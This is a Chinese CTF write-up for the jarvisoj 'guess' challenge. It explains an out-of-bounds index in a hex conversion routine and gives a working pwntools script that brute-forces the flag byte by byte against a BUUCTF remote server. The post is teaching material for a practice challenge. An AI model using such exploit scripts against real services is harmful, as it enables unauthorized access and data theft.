jarvisoj_guess(下标越界导致盲注)

161 篇文章 9 订阅
161 篇文章 9 订阅

jarvisoj_guess(下标越界导致盲注)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,转换的时候没有检查flag_hex[2*i]和flag_hex[2*i+1]的值是否向上越界,如果向上越界,我们可以令flag_hex[i]为’0’,而flag_hex[i+1]为p8(offset),这样s[i] = value2 | 16 * value1的值就是value2就是bin_by_hex[flag_hex[2*i+1]]也就是bin_by_hex[offset],那么如果取到上面v4的内容,就能通过比较。

然后,我们就可以单字节爆破了

#coding:utf8
from pwn import *


#预先生成一个可以pass的payload
payload = ''
for i in range(50):
   payload += '0'
   payload += p8(0x100-0x40 + i)

sh = remote('node3.buuoj.cn',28532)
#接下来,就可以逐字节爆破了
flag = ''
for i in range(1,51):
   print "guess the index {}'s char".format(i)
   for c in range(32,128):
      pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
      #print pay
      #sh = remote('127.0.0.1',9999)
      sh.sendlineafter('guess> ',pay)
      ans = sh.recvuntil('\n')
      if 'Yaaaay!' in ans:
         flag += chr(c)
         break
   print 'flag=',flag

sh.close()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值